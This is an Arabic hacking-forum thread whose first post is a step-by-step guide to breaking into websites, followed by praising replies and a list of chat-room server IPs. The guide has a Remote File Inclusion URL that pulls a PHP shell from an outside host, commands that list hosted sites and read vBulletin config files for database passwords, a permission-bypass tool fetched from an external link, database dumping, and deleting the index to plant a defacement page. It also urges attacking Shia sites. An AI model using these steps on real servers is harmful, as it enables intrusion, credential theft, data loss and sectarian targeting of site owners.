شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~


صفحة 1 من 4 123 ... الأخيرةالأخيرة
النتائج 1 إلى 10 من 38

الموضوع: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

  1. #1
    هكر متميز الصورة الرمزية خبوش
    تاريخ التسجيل
    May 2010
    الدولة
    إآلسٌٍَسٌٍَسٌٍَسٌٍَسٌٍَسٌٍَسٌٍَعوٍُدُ يُهُ
    المشاركات
    667

    aljyyosh شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    انا حقيقه فكرت في انزال كتاب خاص للمبتدئين فقط
    لأني عانيت في بدايتي كثير في امور اختراق المواقع
    كنت اسئل اقول وش معنى شل وشلون ارفعه وش معنى سكريبت وش معنى
    ثغره وكيف اعرف اذا فيه ثغره او لا
    اسئله كثير عانيت منها لكن بعد ماتعمقت في عالم الهكر وجدت ان كل
    المبتدئيين يسئلون مثل اسئلتي هذي واكثرهم متذمر من اختراق المواقع
    يقولون لصعوبته بس رأيت انه سهل جداٌٌ جداٌٌ
    كثير من المبتدئيين يقولون مافي شروحات في المواقع لمبتدأ مثلي
    يمارسلينيو مايعرف وش معنى سيرفر وشلون تبيه يرفع شل
    طيب انا قلت هالكتاب يكون كامل عن اختراق واستهداف موقع يعني في
    راسك موقع اقرأ هالكتاب وطبق معي وا ثم وا ثم وا لتخترق أي موقع يطب براسك
    بس ركز
    ١. ماهو الشل؟
    ٢. ماهي الثغرات؟
    ٣. ماهي خطوات اختراق موقع؟
    ٤. وكيف نرفع الشل؟
    ٥. وكيف نبحث عن سكريبت مصاب؟
    ٦. وعدد كبير من السكريبتات المصابه مع التطبيق عليها
    ٧. وش نسوي بعد مانرفع الشل؟
    ٨. كيف نرفع اندكس الاختراق؟
    ٩. كيف افتح موقع خاص بي؟
    ftp ١٠ . شرح لبرنامج
    ١١ . بعض الحيل لأختراق سيرفر او موقع معين
    هذي خطوات راح تتعلم منها تخترق أي موقع يطب براسك
    انا قبل لأبدأ
    احب ان اقول شئ عشان لاحد يتهمني بسرقه او ماشابه
    يشهد الله ان هذا الكتاب كله من تأليفي انا
    ومأخذت أي شئ من أي كتاب اخر او أي شرح اخر حتى الصور
    انا واضعها وكامل الشروحات خاصه بي
    واسمح لأي انسان ان ينقل أي شئ يريد من هذا الكتاب بس ان
    يبتعد عن سرقت الحقوق
    وانا أخلي مسؤليتي من أي شخص يستخدم هذا الكتاب ضد أي
    موقع مسلم
    لكن موقع عربي شيعي فيه اغاني فنا اتمنى منكم الا تبقونه
    على هذه الشبكه العنكبوتيه
    وانا اول من يساعدكم في هذا الشئ
    وقبل لأبدأ بأول خطوه اقرأ هذا الجدول زين واحفظه لأن فيه
    كلمات راح تصادفنا كثير وماراح نفهم معناها لو ماقرينا
    هالجدول
    انا ماراح اكتب تعريف كامل انا بكتب الي ابيك تفهمه بس
    والباقي ولايهمك منه شئ
    سيرفر/ كمبيوترذو مواصفات قويه من ناحية سرعة المعالج
    والأداء وسرعة اتصال عاليه
    وهذا هو الي يكون داخله المواقع وكل المواقع بمجلد
    home اسمه
    يعني لو قدرت ترفع شل على أي موقع بسيرفر راح
    تقدر تتحكم بكل المواقع الي على السيرفر
    أي خطأ في الملف نعتبره php
    سكريبت/ ملف مكتوب بلغة
    ثغره ونخترق عن طريقها
    الثغره /عباره عن خطأ برمجي في السكريبت
    الاستغلال/عباره عن كود يقوم بأستغلال الخطأ البرمجي
    (استغلال الثغره)
    الفايل انكلود/ نوع من انواع الثغرات وهو من اخطر انواع
    الثغرات
    وتعتبر الفايل انكلود اسهل ثغره واخطر ثغره

    يعني لازم تفهمه وتحفظه ◌ الي مكتوب بلأحمر مهم جدا
    لاتستصعب شئ من البدايه كل شئ سهل بس ركز
    واوعدك بعد ماتكمل قرايت هالكتاب تكون فاهم كيف تخترق
    وراح تقدر تخترق بعد هالكتاب
    راح نبدأ بأول خطوه
    انا ماراح اشرح شرح علمي كامل انا راح اكتب الي اشوفه يفيد
    المبتدأ وراح ابتعد عن الاسلوب العلمي الي يبعد المبتدأ عن
    جو الموضوع ويخليه يستصعب الهكر بصفه عامه
    وراح نبدأ بأول خطوه
    ماهو الشل؟
    (php) الشل عباره عن ملف يتم كتابته بلغة البي اتش بي
    ويقوم هذا الملف بتوجيه اوامر لسيرفر لفتح مجلد معين او رفع
    اندكس اختراق او أي شئ اخر تريد ان تعمله فبهذا الملف تعمل
    أي شئ تريد بسيرفر...
    هذا الشل يتم رفعه عن طريق الثغرات الموجوده بسكريبتات
    المركبه بالمواقع
    هذا اهم شئ لابد انك تعرفه عن الشل وهذا انت عرفته
    ننتقل للخطوه الثانيه
    ماهي الثغرات؟
    الثغرات هي اصعب شئ في الهكر لابد ان تتعمق فيها اكثر
    وبرفق كتاب هذا الباب خاص عن الثغرات
    **والثغرات تحتاج الى انسان يتحلى بصبر**
    ◌ ابيك تفهم بلأول نقطتين مهمه جدا
    لما تبي تفتح لك موقع تروح تدور شركة استضافه ·
    شركة الاستضافه هذي يكون عندهم شئ اسمه سيرفر ·
    السيرفر يكون على كمبيوتر نظامه لينكس مو زي انظمتنا
    ويندوز
    نظامهم لينكس وهو اسرع بكثير من الويندز واقوى منه
    ^_*
    كل سيرفر يكون بداخله مواقع
    في غلطه كثير من المبتدئين يقع بها وهو لما يبي يرفع شل
    <<بعد قليل راح افهمكم على طريقة رفع شل
    vb انه لما يبي يرفع شل يروح يدور لثغرات المنتدى
    او السكريبتات المركبه على الموقع
    وفي الاخير اذا مالقي ثغره يقول يالله مأقدرت اخترق الموقع
    لا ياحبيبي *_^
    انت لما تبي تخترق موقع تطلع أي بي السيرفر الي عليه الموقع
    لأن لاتنسى اني قلت لكم ان كل موقع يكون داخل سيرفر وكل
    سيرفر يكون داخله مواقع كثيره
    وانت لما ترفع شل على أي موقع موجود بسيرفر راح تتحكم
    بسيرفر كله والتحكم بسيرفر كله يعني التحكم بالمواقع الموجوده
    بسيرفر
    والتحكم كما قلنا بلأول يكون عن طريق الشل
    اذا مافهمت العباره الي فوق فقرها اكثر من مره وراح تفهم
    بس أهم شئ التركيز *_^
    النقطه الثانيه الي حبيت اقلكم عليها ·
    ان الثغرات موجوده بشئ اسمه سكريبت
    بتسئلني وتقولي يمارسلينيو وش السكريبت ؟
    انا اقلك حبيبي وش السكريبت
    (php) السكريبت عباره عن ملف يتم كتابته بلغة البي اتش بي
    وكل صاحب موقع مركب سكريبتات بموقعه
    بتقلي ليه يمارسلينيو اصحاب المواقع يركبون سكريبتات وش
    الفائده منه؟
    انا اقلك
    php الحين السكريبت كما قلت عباره عن ملف مكتوب بلغة
    يقوم هذا الملف بخدمة اصحاب المواقع ويسهل لهم امور كثيره
    مثل المنتدى هو عباره عن سكريبت
    وانت تتصفح بعض المواقع تلاقي مكتوب في رئيسية ◌ احيانا
    ٌٌ
    الموقع
    مركز التحميل
    او
    ألبوم الصور
    او
    سجل الزوار
    او
    مكتبة البرامج
    وغيرها غيرها الكثير
    وراح اكتب انواع كثيره من السكريبتات المشهوره عشان تقدر
    تبحث عنها وترفع شل عن طريقها في هذا الكتاب
    الحين راح استعرض لكم بعض صور السكريبتات عشان تفهمها
    زين
    لأني ماودي اتعدا خطوه الا وانا متأكد انك فاهم كل شئ


    لما تظغط على مثلاٌ مكتبة البرامج تلاقي برامج كثيره
    هذا سكريبت
    انا قلت انه يسهل على اصحاب الموقع
    شفتم كيف صاحب الموقع اصلا ماحمل ولا رفع برنامج بس رفع
    السكريبت والسكريبت بداخله البرامج *_^
    الي يهمنا من الكلام هذا كله ان الثغره توجد داخل السكريبت
    ويبي لنا نستغلها
    عشان نقدر نرفع شل
    الثغره عباره عن خطأ برمجي
    وحنا لازم نجيب كود استغلال عشان نقدر نستغل هذا الخطا
    ونرفع شل
    وراح نتطرق لثغرات والاستغلال اكثر بعد اشوي
    الثغرات انواع
    فايل انكلود
    SQL
    XSS
    وانواع كثيره لكن هذي اهم ثلاثه واشهرها
    واخطرها واسهلها الفايل انكلود
    وراح يكون شرح كامل عن الفايل انكلود لحد ماتطبق على موقع
    من خلال الي راح اكتبه هنا

    ماهي خطوات اختراق موقع؟وكيف نرفع الشل؟
    خطوات اختراق موقع هي الاتي
    اول شئ حدد الموقع الي تبي تخترقه
    موقع بيت الهكر ◌ وانا راح اختار مثلا
    رابط الموقع
    http://www.v99x.com/vb/index.php
    اول شئ نطلع أي بي السيرفر
    وهذا شرح بصور لأستخراج أي بي السيرفر الي مركب عليه
    الموقع
    اول شئ نظغط على ابدأ بعدين تشغيل ونكتب
    الامر
    Cmd
    ونظغط انتر

    بعدين تفتح لنا شاشه سوداء

    شوفوا بعد ماكتبنا
    Ping www.***.com
    وظغطنا انتر وش صار

    طريقة نسخ الاي بي لتسهيل عليكم
    بتكون بالخطوات هذي
    اول شئ حط الماوس على الشاشه السوداء الي فيها الاي بي
    اظغط الماوس اليمين
    بيجيك خيارات اول خيار
    الي هو وضع علامه اظغط عليه
    بعدين حدد على الاي بي
    بعدين


    الحين عرفنا نطلع الاي بي وننسخه<<والله الي يسمعه يقول
    مخترع صاروخ*_^
    المهم نروح نبحث عن السكريبتات المركبه على السيرفر
    بتقلي يمارسلينيو وشلون ابحث عن السكريبتات المركبه في السيرفر
    انا اقلك على الطريقه
    روح احدا مواقع البحث غير قوقل
    وانا افضل
    www.msn.com
    في خانة البحث نكتب الاي بي بهذي الطريقه
    ip:75.126.81.157

    ip: اذا كتبتم كذا 75.126.81.157
    فراح يطلع لكم كل المواقع الي على السيرفر
    واذا تبي تبحث عن سكريبت معين
    فتكتب اسم السكريبت بعد الاي بي
    مثلا تبي تبحث عن سكريبث
    اسمه
    MKPortal
    فيكون كتابة البحث عن هذا السكريبت بهذي الطريقه
    ip:75.126.81.157 MKPortal
    وهذي صوره لتوضيح اكثر

    والان راح اكتب لكم سكريبتات خطيره لما تبي تخترق موقع
    ابحث عنها
    ◌ علما
    ان كل كلمه راح اكتبها تحت كل ماعليك ان تضعها بعد
    رقم أي بي السيرفر
    تبحث وماتلاقي يطلع لك شئ هذا معناته ان مافي ◌ احياناٌ
    ٌ
    سكريبت مركب على أي موقع بسيرفر بنفس الاسم الي بحثت
    عنه
    powered by
    لأستخراج كامل السكريبتات المركبه على السيرفر
    Warning
    لأستخراج الأخطأ
    Upload
    هذا لأستخراج مركز التحميل
    ومركز التحميل له طرق كثيره جدا
    منها
    بالعربي اكتب بعد رقم الاي بي
    مركز التحميل
    وانا افضل البحث عن السكريبت بأسمه العربي
    لأن اكثر اصحاب المواقع يشيل اسم السكريبت من اخر الصفحه
    ويكتب جميع الحقوق محفوظه وقتها ماراح يطلع
    لهذا اكتب اسمه بالعربي اشوف انه افضل بكثير
    MKPortal
    للبحث عن الات
    aspjar guestbook
    للبحث عن سجل الزوار
    او تكتب بالعربي سجل الزوار وراح تجيك
    لسجل الزوار ◌ ايضا
    XP Book
    وهذا سكريبت خطير
    images ٤
    Images
    Glary
    Downloads
    PhpBB
    Powered by : Down Asaher v 2.5
    هذي هنا سكريبتات خطيره
    بالعربي اكتبوا وانا افضل ◌ ايضا
    أٌلكتابه بالعربي مثل ماقلت
    مثل كتابة
    بعد الاي بي
    سجل الزوار
    مكتبة البرامج
    مركز التحميل المجله
    البوم الصور
    وغيرها غيرها الكثير
    ابحث وراح تجد اكثر من سكريبت مصاب بكل سيرفر
    وكل سكريبت تلاقيه روح ابحث عن ثغراته بطريقتين
    الي راح احطه لك الان الاوله موقع
    /http://www.milw0rm.com
    والثانيه عن طريق أي موقع بحث والطريقه موجوده تحت بصور
    وراح تقدر ترفع شل بأذن الله
    مثلا تقول لي يمارسلينيو انا لقيت سكريبت
    MKPortal اسمه
    من وين اجيب الأستغلال حقه
    انا اقلك حبيبي
    في مواقع مختصه بثغرات السكريبتات كل يوم ينزلون اكثر من
    اربعه ثغرات
    طيب انا اعطيك رابط الموقع اول شئ
    /http://www.milw0rm.com
    وهذي هنا صوره للموقع وفيها بعض الشروحات

    فتحت لنا هالصفحه (search) طيب بعد ماظغطنا على بحث

    وبعد كتابة اسم السكريبت المصاب في الفراغ
    طلع لنا الثغرات وهذي صوره من الي طلع لنا

    Remote File احنا راح نجرب اول ثغره وهي من نوع
    Inclusion
    ◌ جدا ◌ لأنه خطيره وسهله جدا
    نظغط على اول ثغره
    MKPortal NoBoard Module (BETA)
    Remote File Inclusion Vulnerability
    MKPortal
    هذا اسم الثغره

    في ناس يقول كيف اعرف الاستغلال
    أستغلال ثغرات الفايل انكلود
    دائما يجي تحت او بجنب كلمة
    Example
    او يجي اخره
    ****l.txt
    او[ ****l ]?
    عرفنا الاستغلال بقى علينا نعرف وش نسوي
    قبل لاتعرف بعض المصطلحات المهمه في هذا الاستغلال
    http://[ site
    ]/mkportal/include/user.php?MK_PATH=[ ****l ]?
    هذي هنا بدلها تحط رابط الموقع >>[site]
    مثلا نقول ان الموقع
    رابطه كذا
    www.zafrah.net/mkportal
    هذا السكريبت المصاب >>mkportal
    mkportal/include/user.php?MK_PATH
    هذا الاستغلال حق الثغره
    =[ ****l ]?
    وبدل هذي هنا تحط رابط الشل كامل
    ول ماعندي شل او ماعندي موقع عشان ارفع عليه شل ◌
    راح اعطيك اخر هالكتاب شرح كامل لفتح موقع مجاني ورفع
    الشل وكل شئ راح يتعلق بمشكلة الشلات
    وبعد ماحطينا رابط الشل يكون الاستغلال هكذا
    http://www.zafrah.net/mkportal/include/user.php?M
    K_PATH=http://www.members.lycos.co.uk/powerhos
    ting/ch99.txt?
    تحط علامة استفهام مثل ماوضعت انا txt لاتنسى بعد كلمة
    \
    طيب نفترض ان لقيت ثغرات في المليورم لكن مو منوع فايل
    انكلود
    فقدامك طريقتين يأما تروح تبحث عن شروح عن طريقة استغلال
    نوع ثغره معينه
    ويأما تروح قوقل
    وراح تلاقي شروح عنها مثل
    تروح قوقل وتكتب

    الثغرات كثيره بكل سكريبت أنت ابحث وابتعد عن اليئس
    لعلك تواجه صعوبه في اول مره تستهدف موقع لكن المره
    ومايحتاج له ◌ الثانيه والثالثه خلاص تحس ان الامر سهل جدا
    ٌٌ
    شروحات ولا شئ...
    واسهل سيرفر راح تقدر ترفع عليه شل هو السيرفر الي مواقعه
    كثير والسكريبتات المركبه على المواقع كثيره
    وقتها بس ابحث عن أي سكريت سهل واخترق وانا اخوك
    ^_*
    تلاقي سكريبت وتبي تطلع ثغرات جديده انت تروح ◌ واحيانا
    ٌٌ
    JAAScoisX- تحمل السكريبت في جهازك ووبرنامج اسمه
    يطلع لك الاخطاء الحاصله بسكريبت وانت عليك Code
    الاستغلال
    انا ماشوف هالطريقه له داعي فهمها بنسبه للمبتدئيين لأنه لو
    تعمق فيها وهو لسى مبتدأ راح يحس الهكر صعب
    لهذا اتركها بعد فهمك لكل مافي هذا الكتاب وقدرتك على
    التطبيق وقتها تعلم باقي العلوم المتطوره
    وانا مؤلف هالكتاب على اساس ابتعد عن شئيين الاول طولت
    الكلام الي مالها داعي
    الثاني ابعاد المبتدأ عن الامور الصعبه والكلام الي يخليه يبطل
    يدخل في عالم الهكر
    نكمل شرحنا
    بعد ماحطيت استغلال ثغرة
    Remote File Inclusion
    وحطيت رابط الشل خل نشوف الشل بيفتح لنا او لا
    اذا فتح معناتها ان الثغره مو مرقعه بسكريبت

    تم رفع الشل ولله الحمد
    بعض المبتدئين يمر بأشياء منها اول مايحط رابط الشل
    والاستغلال يجيه صفحة خطأ او يحوله الرابط للمنتدى او رئيسية
    الموقع
    وغيرها...الخ...!
    هنا راح اقلك ان الثغره مرقعه يعني ماتقدر تخترق عن طريقها
    دور سكريبت غيره
    طبق mkportal وبنفس الطريقه الي طبقناها على السكريبت
    على أي باقي السكريبت
    من ناحية البحث عن السكريبت في السيرفر
    ومن ناحية البحث عن استغلالها
    mkportal وكل شئ طبقه بنفس ماسويت في هذا السكريبت
    وارفع شلك وراح تصل للي تبغاه في اقل من مما تتوقع بس
    التركيز اهم شئ في الهكر كله *_^
    طيب بتقولي يمارسلينيو الحين انا رفعت شل وش اسوي بعدين ان ا
    بقلك الان وش تسوي
    لهذا بغير هذا الشل r اول شئ انا احب شل 57
    r وبحط 57
    اول شئ تسويه هو انك تستعرض كل المواقع الي على السيرفر
    ◌ وقبل لاتستعرضها ابقلك اشياء مهمه جدا

    وراح اشرح بعض الاشياء المهمه لكي تفهمها زين
    safe_mode: OFF
    السيف مود=الوضع الامن
    وقتها تقدر تلعب بسيرفر بكيفك off اذا كان اوف
    بس لما تجي تلاقي مكتوب
    safe_mode: on
    وقتها يبي لك تتخطى الوضع الامن
    وانا دامي وضعت هذا الشرح للمبتدئيين فعناتها لايهم هذاي
    بداية أي واحد
    ولكن لما تريد تتخطى الوضع الامن فتلاقي شروحات كثير
    وبالفديو كمان
    ^_*
    اسم مستخدم الموقع
    كل موقع داخل السيرفر له اسم مستخدم خاص به
    وبهذا الاسم تتنقل داخل السيرفر مو برابط
    الصلاحيه
    الصلاحيات انواع
    وهذا مدير السيرفر كامل يعني يتحكم بكل شئ بكيفه Root
    يحذف ويضيف ويعدل كل شئ بيده
    هذا اسم مستخدم الموقع User
    وهو بأمكانه حذف تعديل اضافة كل شئ يريد بموقعه بس
    user يعني لو رفعت شل يوم من الايام ولقيت صلاحيتك
    تقدر تسوي أي شئ بالموقع الي انت به بس مواقع ثانيه على
    نفس السيرفر ماتقدر تسوي فيها شئ مره
    في هذي الصلاحيه تقدر تعدل وتحذف وتنسخ وتسوي Nobody
    الي تبي في الدات المصرحه تصريح ٧٧٧
    والدات الغير مصرحه بتصريح ٧٧٧ ماتقدر تعدل فيها ولا
    تقدر تسوي شئ بها مره
    يعني زي انا الحين في الشل هذا صلاحيتي
    Nobody
    ومعناها زائر,
    طيب الحين حنا رفعنا شل وعرفنا صلاحيتنا وعرفنا مكان
    تواجدنا بسيرفر بقي علينا نعرف وشلون نطلع المواقع الي
    بسيرفر
    نطلعها بهذا الامر
    ls -la /etc/valiases
    نحط هذا الامر في مكان الاوامر الي ذكرته لكم فوق
    ونظغط انتر ويفتح لنا مربع فوق كبير موجوده به المواقع وهذي
    صوره راح تبين لك الوضع كامل
    r ,راح استخدم في الباقي شل 57
    لسهولته

    طيب نختار موقع لننتقل له
    rw-r--r-- 1 afaakco mail 15 Sep 11 17:57 -
    aafaak.com
    هذا هنا السطر فيه رابط الموقع واسم المستخدم والصلاحيه
    يهمنا اسم المستخدم ناخذه وهو
    Afaakco

    لما نبغى ننتقل نحط في سطر تواجدك بسيرفر
    هالأمر
    /home/????/public_html/
    هذا مجلد داخله المواقع Home
    ؟؟؟<<بدل علامة الاستفهام حط اسم مستخدم الموقع الي تبي
    تنتقل له
    هذا كل مايهمك ودامنا نبي ننتقل لموقع اسم مستخدمه
    Afaakco
    فبيكون الأمر هكذا
    /home/Afaakco/public_html/
    خل نشوف الحين الصوره هل تم النقل ام لا

    تلاقي كتابات باللوان r وعشان تتأكد ان تم النقل في شل 57
    الاحمر اعلى الشل اخر سطر فيها هو مكان تواجدك *_^
    Nobody طيب دام صلاحيتك
    وقلنا ان هالصلاحيه مايمديك تسوي شئ ماغير تتنقل وتشوف
    اما تحذف تعدل ترفع ماتقدر غير في مجلد تصريحه لازم يكون
    ٧٧٧
    وحنا نبي نرفع اندكس اختراق
    وش السواه ؟؟
    انا اقلكم وش السواه
    نروح نبحث عن مجلد تصريحه ٧٧٧
    بتقلي كيف




    اول شئ راح اشرح واكمل الاختراق العشوائي داخل السيرفر
    بعدين راح اشرح استهداف موقع معين داخل السيرفر
    اول شئ اذا بغيت تبحث عن مجلد تصريحه
    ٧٧٧
    فعليك البحث في جميع المواقع الي بسيرفر مو بس موقع واحد
    وراح تقلي يمارسلينيو المشكله ان التصاريع مو مكتوبه ارقام يعني
    مو مكتوب ٧٧٧
    وش يدريني
    انا اقلك وشلون تعرف
    الد الي تصريحه ٧٧٧
    تكون مكتوبه صلاحيته بهذي الطريقه ◌ دائما
    Drwxrwxrwx
    اذا لقيت هالكلمه اول سطر اعرف ان الد تصريحه ٧٧٧
    advs طيب انا لقيت مجلد اسمه

    يعني في المكان الي قلت نحط به اسملد ليتم النقل
    كان مكتوب
    home/yamnaty/public_html/
    حنا بس نضيف عليها
    advs
    يعني بيكون كذا
    home/yamnaty/public_html/advs
    وخلاص اضغط انتر وتلاقي نفسك انتقلت للمجلد الي تبيه
    بعدين ارفع اندكسك او أي شئ تبي في الد هذا
    طيب لو تبي تخترق موقع معين في السيرفر
    Nobody في طريقتين الاولى تتطى صلاحية
    وهذا شرح هنا لتخطي صلاحية يوزر
    اول شئ ارفع هالملف بجهازك وفك الظغط عنه وحط المبلف الي
    sym4.php داخله
    على سطح المكتب
    http://www.hak0.com/drs/7/sym4.zip
    فوق شرح كامل لأستخراج مجلد تصريحه ٧٧٧ والانتقال له بعد
    بعد ماتنتقل للملف كما موضح لكم بلأعلى
    داخل الشل اظغط على استعراض تابع معي الشرح

    بعدين اظغط رفع تلاقي الملف ارفع خلاص شوفوا معاي

    طيب لازم نستعرض الملف الان بتقولي كيف نستعرضه يمارسلينيو
    اانا اقلك حبيبي وشلون نستعرضه

    طيب قلت لكم ان هذا مكان تواجدنا
    home/yamnaty/public_html/advs/
    هو اسم home وقلت لكم في اول الكتاب ان بعد كلمة
    مستخدم الموقع الي نتنقل به طيب اسم المستخدم غير عن رابط
    الموقع اجل لازم نجيب رابط موقع حق اسم المستخدم هذا
    yamnaty
    اول شئ في مربع الاوامر
    نضع هذا الامر
    ls -la /etc/valiases
    ثم انتر
    بعدين يجينا في المربع الكبير روابط المواقع في اخر كل سطر
    واسامي المستخدمين وهذي اكيد انتم فهمتوها في اول الكتاب

    طيب عرفنا ان هذا رابط الموقع
    yamnat.net
    طيب نبي ندخل على الي رفعناه قبل اشوي وش نسوي
    لو تلاحضون في مكان تواجدنا
    /home/yamnaty/public_html/advs
    هذا الد الي رفعنا به الاداه >>Advs
    يعني لازم اجل ندخل على هالد اول
    بيكون الرابط كذا
    www. yamnat.net/Advs
    Advs وبعد كلمة
    نحط اسم الملف الي نبي نستعرضه الا وهو
    Sym4.php
    من الاخير الرابط راح يكون
    www.yamnat.net/Advs/sym4.php
    شوفوا ھذا ھو الملف فتح معنا

    خلاص انتهينا من شرح تخطي صلاحية يوزر
    عشان تقدر تتحكم في الموقع الي تبيه براحتك
    طيب مثلا
    في موقع ماتبي غيره من السيرفر وتبي ترفع
    اندكس اختراقك في المنتدى حق الموقع
    أول شئ طلع ملف اسمه الكونفق
    ملف الكونفق هذا الملف اهم شئ في منتدى أي شخص
    لأن لو طلعت المعلومات الي فيه تقدر تنسخ باك اب للموقع
    وتقدر بعد تدخل لوحة تحكم المنتدى بسمه وهو مايدري تقدر
    ترفع صفحة اختراق في المنتدى
    أي شئ تبيه تقدر
    طيب الحين متشوق تقول طيب كيف اطلعه يمارسلينيو ؟
    انا اقلك حبيبي
    حط في مكان الاوامر بشل هذا الامر
    cat /home/???/public_html/vb/includes/config.php
    ؟؟<<هذي هنا بدلها تحط اسم مستخدم الموقع
    وخلك معي راح احط شرح بصور عشان تفهم اكثر

    طيب بتقول لي طلعته يمارسلينيو وش اسوي بعد ؟
    انا اقلك وش تسوي الان يهمنا من ملف الكونفق كله اربع او
    خمس اسطر وانا اقلك الان وشلون تجيبها
    $config['Database']['dbname
    هذا سطر اسم قاعدة البيانات
    config['MasterServer']['username'
    هذا السطر يدل على اسم المستخدم لقاعدة البيانات
    هذا السطر يدل على كلمة مرور قاعدة البيانات
    $config['MasterServer']['password'
    هذا السطر يدل على رابط لوحة تحكم المنتدى
    config['Misc']['admincpdir'
    هذي في نظري هي اهم شئ
    طيب الان اقلكم وش نسوي ووشلون نطلعها
    نروح على الكونفق وداخله نظغط
    control+F
    بيجينا هالمربع

    تكتب فيه الأشياء الي تبي تطلعها وانا كاتبها لكم فوق
    وبعطيكم مثال بصوره على واحده منها

    طيب بعد ماطلعت كامل المعلومات الي احتاجها من ملف
    الكونفق
    وحطيتها في مستند نص عشان ماتنساها
    بقى علي
    اروح يم شل
    CH99
    انا افضله عن الشلات الباقيه في عملية نسخ الباك اب وعملية
    رفع الاندكس
    بعد ماندخل على شل
    CH99
    نلاقي خيار فوق وهو
    SQL
    نظغط عليه

    طيب بعدين يفتح لك هالصفحه

    ضع هنا اسم مستخدم قاعدة البيانات userneme
    <<تحصلها بكونفيق المنتدى
    ضع هنا كلمة مرور قاعدة البيانات << password :
    تحصلها بكونفيق المنتدى
    ضع هنا اسم قاعدة بيانات المنتدى << Database :
    تحصلها بكونفيق المنتدى
    السيرفر اللي عليه المنتدى ip ضع هنا عنوان Host
    اذا كنت على نفس السيرفر
    خله مثل ماهو عليه >> localhost . ضع عبارة
    ضع هنا منفذ الاتصال بقواعد البيانات وغالباً ما port : في خانة
    يكون ٣٣٠٦ . يفضل ان تتركه مثل ماهو عليه
    بعدين اظغط على
    connect ر
    الصور هذي الي الان راح استعرضها تحت لكم من احد دروس ابو
    عابد
    WWW.V99X.COM
    اذا تم الاتصال بنجاح بتطلع لك هالشاشة واضغط على زر
    dump -: لنسخ القاعدة كما بالصورة

    -: التالية بعدها راح تفتح لك الصفحة

    اضغط على زر dump شاشة حفظ الباك اب سوي وراح تطلع لك
    حفظ حفظ
    وانتظر لين يحملها كلها بجهاز ان شاء

    طيب بنسبه لرفع اندكس الاختراق فبيكون
    في طريقتين
    اول طریقھ
    اول شئ تنتقل لمجلد في بي ویكون امر الانتقال
    /home/?????/public_html/vb
    ?لد في بي <<بدلها حط اسم مستخدم الموقع الي تبي تنتق
    بعدين القيام بحذف ملف الاندكس حق المنتدى ووضع اندكسك
    مكانه
    ويكون الامر بوضع هذه الكلمه في مربع الاوامر ثم انتر
    Rm index.html
    تلاقيه انحذف

    امر حذف ملف معين
    Rm name
    Name حط بدال
    اسم الملف الي تبي تحذفه
    روح تحت Vb من داخل مجلد Index.html بعد ماتحذف
    تلاقي مكتوب استعراض اظغط على استعراض وارفع ملف
    الاندكس حقك
    Html بصيغة
    روح يم المنتدى تلاقيه ارفع أندكسك على المنتدى كامل
    والف الف الف مبروك عليك المنتدى *_^
    وفي طريقه ثانيه هي عن طريق تغير مابداخل قالب فور هوم
    لكن هذي مأفضلها لأنها تخلي صفحة اختراقك على رئيسية
    المنتدى بس
    تشفير الكونفق
    الجدار الناري
    تغيير مسار الكونفق
    من اصحاب ◌ هذي مشكلات قد تواجهنا بس لأنها قليل جدا
    ٌٌ
    الموقع من يعمل هذه الاشياء ولأن هذا الكتاب اعددته للمبتدأ.
    وشكرا لكم وانتمنا ما اكون طولة عليكم
    والسلام عليكم ورحمة الله وبركاته


    الموضوع منقول
    [CENTER]


    آسمع قبل ألرحيل ~َ


  2. #2

    افتراضي رد: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    يشرفني يكون اول من يرد ..........

    مشكوورر يعطيك العافيةة وماقصررت يالبى قلبك

    بس للاسف عجزت افهم بس ياريتك تساعدني

    المهم كفيت وفيت يالغالي فديتك...

  3. #3

    افتراضي رد: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    ياااااااااااااااااااااااا ااااااااااااااا معللللللللللللللللللللللل للللللللللللللللم

  4. #4

    افتراضي رد: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    والله انك معلم
    انا ركزت معاك وفهمتك كتييييييييييييييييييييييي يير منيح وتعلمت

    بس الصور ويييييييين

    مو ظاهرة عندي

    على فكره طريقتك في الشرح رائعه

    استاذ جامعي انت ^^

  5. #5

    افتراضي رد: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    مافي كلام يوصفك ونت و شرحك
    انت بس تستاهل كف
    7
    7
    7
    لا كفين
    7
    7
    7
    يترفعو للسما و يدعولك بالخير و البركه

  6. #6

    افتراضي رد: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    شرح جميل للغاية اتمني الاستفادة للجميع
    لا اله الا الله محمد رسول

  7. #7

    افتراضي رد: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    يعطيك العافيه خيووووووو

  8. #8

    افتراضي رد: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    بالفعل الموضوع منقول و للاسف لا أحب المواضيع المنقولة
    و للاشارة قرأت الموضوع الاصلي و هو على شكل pdf

    لا تحسبن المجد ثمرا أنت آكله***لن تبلغ المجد حتى تلعق الصبر

  9. #9

    افتراضي رد: شرح اختراق المواقع ادخل ما راح تندم ولا راح تخسر شي اكيد الفايده لك..~

    ماذا تستفيد من معرفة سيرفرات موقع قيمزر ؟
    سيرفر كل روم بموقع قيمزر
    الغرف الجماعيه
    كل 100 روم بسيرفر

    السيرفر الاول 174.36.44.229:843

    روم رقم 1 174.36.44.229:9001
    روم رقم 2 174.36.44.229:9002
    روم رقم 3 174.36.44.229:9003
    حتى نصل روم 110

    السيرفر الثاني 174.37.230.194:843

    روم رقم 111 174.37.230.194:9111
    روم رقم 112 174.37.230.194:9112

    ختى نصل روم 220


    السيرفر الثالث 174.37.230.195:843

    حتى نصل روم 330

    السيرفر الرابع مختلف شوي 174.36.44.231:843

    رقم الروم 331 174.36.44.231:9101
    رقم الروم 332 174.36.44.231:9102
    رقم الروم 333 174.36.44.231:9103
    حتى نصل روم 378 174.36.44.231:9148

    السيرفر الخامس 174.37.230.196:843

    روم رقم 379 174.37.230.196:9101
    روم رقم 380 174.37.230.196:9102
